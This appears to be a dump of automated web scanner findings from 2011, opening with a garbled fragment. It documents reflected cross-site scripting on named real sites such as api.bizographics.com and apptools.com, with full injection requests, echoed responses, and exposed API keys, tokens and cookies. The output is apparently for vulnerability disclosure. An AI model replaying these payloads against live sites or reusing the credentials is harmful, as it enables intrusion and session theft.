!!!#<l.yn!#b<g!!!!#<kI4S!#b<i!!!!#<jLPe!#b<j!!!!#<jHAu!#b<w!!!!#<jHAu!#b=K!!!!#<l.yn!#b?A!!!!#<l.x@!#b](!!!!#<gj@R!#b`>!!!!#<jc#Y!#b`?!!!!#<jc#Y!#b`@!!!!#<jc#Y!#c8D!!!!#<gj@R!#cC!!!!!#<ie2`!#e@W!!!!#<k_2)!#ePa!!!!#<gj@R!#eR5!!!!#<gj@R!#eVe!!!!#<jHAu!#elE!!!!#<k3!!!#f93!!!!#<gj@R!#fBj!!!!%<kI5F!#fBk!!!!%<kI5F!#fBm!!!!%<kI5F!#fBn!!!!%<kI5F!#fBu!!!!#<gj@R!#fG+!!!!%<kI5F!#fJ/!!!!#<gj@R!#fJw!!!!#<gj@R!#fK9!!!!#<gj@R!#fK>!!!!#<gj@R!#fdu!!!!#<k2yx!#fpW!!!!#<l/JY!#fpX!!!!#<l/JY!#fpY!!!!#<l/JY!#g'E!!!!#<gj@R!#g/7!!!!$<kI5F!#g<%!!!!#<gj@R!#gRx!!!!#<htU3!#g[h~~!#g]7!!!!#<l.yn!#g]9!!!!#<kjl4!#h.N!!!!#<kL2n!#jS>!!!!#<k_Jy!#ndJ!!!!#<k2yx!#ndP!!!!#<k2yx!#nda!!!!#<k2yx!#ne$!!!!#<k2yx!#p#b~~!#p]T!!!!$<kL2n"; lifb=%y_Qs7i<Qa5p0/:
Response
HTTP/1.1 200 OK Date: Wed, 02 Feb 2011 15:29:57 GMT Server: YTS/1.18.4 P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: BX=/; path=/; expires=Mon, 01-Mar-2004 00:00:00 GMT Cache-Control: no-store Last-Modified: Wed, 02 Feb 2011 15:29:57 GMT Pragma: no-cache Content-Length: 4542 Age: 0 Proxy-Connection: close
/* All portions of this software are copyright (c) 2003-2006 Right Media*/var rm_ban_flash=0;var rm_url="";var rm_pop_frequency=0;var rm_pop_id=0;var rm_pop_times=0;var rm_pop_nofreqcap=0;var rm_passback=0;var rm_tag_type="";rm_tag_type = "ad"; rm_url = "http://ad.yieldmanager.com/imp?Z=300x250&bf0da"-alert(1)-"8c42b551633=1&click=http%3a%2f%2fad.doubleclick.net%2fclick%3Bh%3Dv8%2f3aa2%2f3%2f0%2f%2a%2fn%3B228957569%3B0%2d0%3B0%3B45421688%3B4307%2d300%2f250%3B38375088%2f38392845%2f1%3B%3B%7Eaopt%3D2%2f0%2f36%2f0%3B%7Essc ...[SNIP]...
The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload 4d05c<script>alert(1)</script>0e5436c2494 was submitted in the api_key parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a3673474d05c<script>alert(1)</script>0e5436c2494&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KbEYt9Gm0axhaj5XcunNcMDa7Re6IGD4lDrbCisip76D66Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRXq0x1X4kUBB3CBHNXcl3bEVUJBxdqAyDalXCEoKjwKKB7uI3cisSEIeS2mCWkomhIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie
Response
HTTP/1.1 403 Forbidden Cache-Control: no-cache Content-Type: text/plain Date: Wed, 02 Feb 2011 15:29:30 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Content-Length: 92 Connection: keep-alive
Unknown API key: (6332f8b7316a4d1284e9c1217a3673474d05c<script>alert(1)</script>0e5436c2494)
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 33b74<script>alert(1)</script>22bbeb83d65 was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347&callback=Demdex.parseBizo33b74<script>alert(1)</script>22bbeb83d65 HTTP/1.1 Host: api.bizographics.com Proxy-Connection: keep-alive Referer: http://fast.dm.demdex.net/dm-dest.html?bizo=1&bizovalidttl=7& Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KbEYt9Gm0axhaj5XcunNcMDa7Re6IGD4lDrbCisip76D66Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtRXq0x1X4kUBB3CBHNXcl3bEVUJBxdqAyDalXCEoKjwKKB7uI3cisSEIeS2mCWkomhIipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie
Response
HTTP/1.1 200 OK Cache-Control: no-cache Content-Type: application/json Date: Wed, 02 Feb 2011 15:29:36 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Set-Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Set-Cookie: BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KTissx4pIKRxvaj5XcunNcMDa7Re6IGD4lOuDZWVHyjN4Ad6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtT8sOM0TiiisRAipIisFvtN4t4VEVUJBxdqAyBAisqZAs2SfkIE4k0isgs29d6PAF0Hy6gC0ipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;Version=0;Domain=.bizographics.com;Path=/;Max-Age=15768000 Content-Length: 206 Connection: keep-alive
The value of the api_key request parameter is copied into the HTML document as plain text between tags. The payload af475<script>alert(1)</script>5b56c3fcd0c was submitted in the api_key parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /v1/profile.json?api_key=6332f8b7316a4d1284e9c1217a367347af475<script>alert(1)</script>5b56c3fcd0c&callback=Demdex.parseBizo HTTP/1.1 Host: api.bizographics.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: BizoID=675ee53a-bc80-4e01-aa24-ca467accf61f; BizoData=vipSsUXrfhMAyjSpNgk6T39Qb1MaQBj6WQYgisqeiidjQcqwKPXXDYVmkoawipO0Dfq1j0w30sQL9madkf8kozH7KRShFj6bKbiijaj5XcunNcMDa7Re6IGD4lLFCw41jWbyOAd6xyMUDLG5gCh8GmE4wmnnS9ty8xAR0zwQvdHhisgnnwCNICmFKGa4RXxZnzMYL5lop56fA3rHonFMZ1E3OcisUUeXmc77bBFklv3wQQEmtT8sOM0TiiisRAyMfy5dfAVhDEVUJBxdqAyAsVh4uYPLmIgwbisDgBSipgnUuNumFpPoipAipNN9QFd9eD8AHJR2FGdEz1hYSFbR3chAU2xWtyvDfXYqVKvKL6ku8zbNip0rRSsokcAYJy1mH2jGbDneEWVJTB2iiSz7mTslQLR60k3zySHYwieie;
Response
HTTP/1.1 403 Forbidden Cache-Control: no-cache Content-Type: text/plain Date: Wed, 02 Feb 2011 16:18:36 GMT P3P: CP="NON DSP COR CURa ADMo DEVo TAIo PSAo PSDo OUR DELa IND PHY ONL UNI COM NAV DEM" Pragma: no-cache Server: nginx/0.7.61 Content-Length: 92 Connection: Close
Unknown API key: (6332f8b7316a4d1284e9c1217a367347af475<script>alert(1)</script>5b56c3fcd0c)
The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload b4387(a)c27091d8173 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /EntityImageHandler.ashxb4387(a)c27091d8173 HTTP/1.1 Host: api.blogburst.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Connection: close Date: Wed, 02 Feb 2011 16:18:36 GMT Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/plain; charset=utf-8 Content-Length: 201
Error handler problem: Error Number: B8BUa0w7Ilp7zBNRYRdWMLni Error Path: /EntityImageHandler.ashxb4387(a)c27091d8173 Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 80c92(a)e7e03c35472 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /favicon.ico80c92(a)e7e03c35472 HTTP/1.1 Host: api.blogburst.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 X-Compressed-By: HttpCompress Date: Wed, 02 Feb 2011 19:10:36 GMT Content-Length: 189
Error handler problem: Error Number: B83sUW5V9btfzEZ9C74xOolh Error Path: /favicon.ico80c92(a)e7e03c35472 Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f5c81(a)8b15d9b73ba was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /v1.0/WidgetDeliveryProxy.jsf5c81(a)8b15d9b73ba HTTP/1.1 Host: api.blogburst.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 X-Compressed-By: HttpCompress Date: Wed, 02 Feb 2011 15:32:08 GMT Content-Length: 205
Error handler problem: Error Number: B80iwlBCmlTpz5Pig5CAws6o Error Path: /v1.0/WidgetDeliveryProxy.jsf5c81(a)8b15d9b73ba Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e8e6e(a)55b1a46fc7 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /v1.0/WidgetDeliveryProxyStub.jse8e6e(a)55b1a46fc7 HTTP/1.1 Host: api.blogburst.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 X-Compressed-By: HttpCompress Date: Wed, 02 Feb 2011 15:32:19 GMT Content-Length: 207
Error handler problem: Error Number: B94M87SkpIdWCgjC0l2bFGg Error Path: /v1.0/WidgetDeliveryProxyStub.jse8e6e(a)55b1a46fc7 Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of REST URL parameter 1 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload f4506(a)4a5cdf0844b was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /v1.0f4506(a)4a5cdf0844b/WidgetDeliveryService.ashx?bbTransport=css&bbWidgetId=B7mDxwAeoI9czDO7YpXG1bi8&bbHostUrl=http%3A//www.ehow.com/computer-software/ HTTP/1.1 Host: api.blogburst.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 PluckOriginServer: psnapib X-Compressed-By: HttpCompress Date: Wed, 02 Feb 2011 15:32:36 GMT Content-Length: 209
Error handler problem: Error Number: B8WJgPc8mOdez6tZwoiCJoTl Error Path: /v1.0f4506(a)4a5cdf0844b/WidgetDeliveryService.ashx Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of REST URL parameter 2 is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload 8b1dc(a)5a857af5c5d was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /v1.0/WidgetDeliveryService.ashx8b1dc(a)5a857af5c5d?bbTransport=css&bbWidgetId=B7mDxwAeoI9czDO7YpXG1bi8&bbHostUrl=http%3A//www.ehow.com/computer-software/ HTTP/1.1 Host: api.blogburst.com Proxy-Connection: keep-alive Referer: http://www.ehow.com/computer-software/?206d4'-alert(1)-'dbefd3749fe=1 Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET server: psnapib X-AspNet-Version: 2.0.50727 PluckOriginServer: psnapib X-Compressed-By: HttpCompress Date: Wed, 02 Feb 2011 15:32:41 GMT Content-Length: 208
Error handler problem: Error Number: B7fOWSgosfbjAnIBtXULjlA Error Path: /v1.0/WidgetDeliveryService.ashx8b1dc(a)5a857af5c5d Error Message: No http handler was found for request type 'GET' Error Host: psnapib
The value of the callback request parameter is copied into the HTML document as plain text between tags. The payload 5fda3<script>alert(1)</script>05613b280fe was submitted in the callback parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /api/v1/ip.json?token=9629e1a2b682d7afd8c9cc104ad125c08fa0b490&callback=demandbase_parse5fda3<script>alert(1)</script>05613b280fe HTTP/1.1 Host: api.demandbase.com Proxy-Connection: keep-alive Referer: http://www.omniture.com/en/privacy/2o7?f=2o7 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 38302<script>alert(1)</script>c482f5e0c50 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /examples38302<script>alert(1)</script>c482f5e0c50/tableheight.php. HTTP/1.1 Host: apptools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:18:40 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Length: 3788 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/examples38302<script>alert(1)</script>c482f5e0c50/tableheight.php was not able to be displayed.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload c8e2a<script>alert(1)</script>5612df9d36a was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /examples/tableheight.php.c8e2a<script>alert(1)</script>5612df9d36a HTTP/1.1 Host: apptools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:18:41 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Length: 3789 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/examples/tableheight.php.c8e2a<script>alert(1)</script>5612df9d36a was not able to be displayed.</p> ...[SNIP]...
4.69. http://apptools.com/examples/tableheight.php. [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://apptools.com
Path:
/examples/tableheight.php.
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 96edc<script>alert(1)</script>1447630590d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /examples/tableheight.php.?96edc<script>alert(1)</script>1447630590d=1 HTTP/1.1 Host: apptools.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 19:18:40 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Length: 3792 Connection: close Content-Type: text/html
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/examples/tableheight.php.?96edc<script>alert(1)</script>1447630590d=1 was not able to be displayed.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 2523f<script>alert(1)</script>3ded236ecaa was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles2523f<script>alert(1)</script>3ded236ecaa/apptools.css HTTP/1.1 Host: apptools.com Proxy-Connection: keep-alive Referer: http://apptools.com/examples38302%3Cscript%3Ealert(document.cookie)%3C/script%3Ec482f5e0c50/tableheight.php Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 20:26:31 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Type: text/html Content-Length: 5125
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/styles2523f<script>alert(1)</script>3ded236ecaa/apptools.css was not able to be displayed.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload e507e<script>alert(1)</script>60df3ed154 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles/apptools.csse507e<script>alert(1)</script>60df3ed154 HTTP/1.1 Host: apptools.com Proxy-Connection: keep-alive Referer: http://apptools.com/examples38302%3Cscript%3Ealert(document.cookie)%3C/script%3Ec482f5e0c50/tableheight.php Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 20:26:41 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Type: text/html Content-Length: 5124
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/styles/apptools.csse507e<script>alert(1)</script>60df3ed154 was not able to be displayed.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 78363<script>alert(1)</script>31482200f99 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles78363<script>alert(1)</script>31482200f99/print.css HTTP/1.1 Host: apptools.com Proxy-Connection: keep-alive Referer: http://apptools.com/examples38302%3Cscript%3Ealert(document.cookie)%3C/script%3Ec482f5e0c50/tableheight.php Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 20:26:29 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Type: text/html Content-Length: 5122
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/styles78363<script>alert(1)</script>31482200f99/print.css was not able to be displayed.</p> ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 7876d<script>alert(1)</script>1b072629eeb was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /styles/print.css7876d<script>alert(1)</script>1b072629eeb HTTP/1.1 Host: apptools.com Proxy-Connection: keep-alive Referer: http://apptools.com/examples38302%3Cscript%3Ealert(document.cookie)%3C/script%3Ec482f5e0c50/tableheight.php Accept: text/css,*/*;q=0.1 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found Date: Wed, 02 Feb 2011 20:26:40 GMT Server: Apache X-Mod-Pagespeed: 0.9.11.5-293 Vary: Accept-Encoding Content-Type: text/html Content-Length: 5122
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"> <html lang=en><!-- InstanceBegin template="file:///C|/My Projects/Dreamweaver/AppTools/Templates/Base Page ...[SNIP]... <p>We're sorry, but your request for http://apptools.com/styles/print.css7876d<script>alert(1)</script>1b072629eeb was not able to be displayed.</p> ...[SNIP]...
The value of the c1 request parameter is copied into the HTML document as plain text between tags. The payload 9fb5f<script>alert(1)</script>bb7775bca59 was submitted in the c1 parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
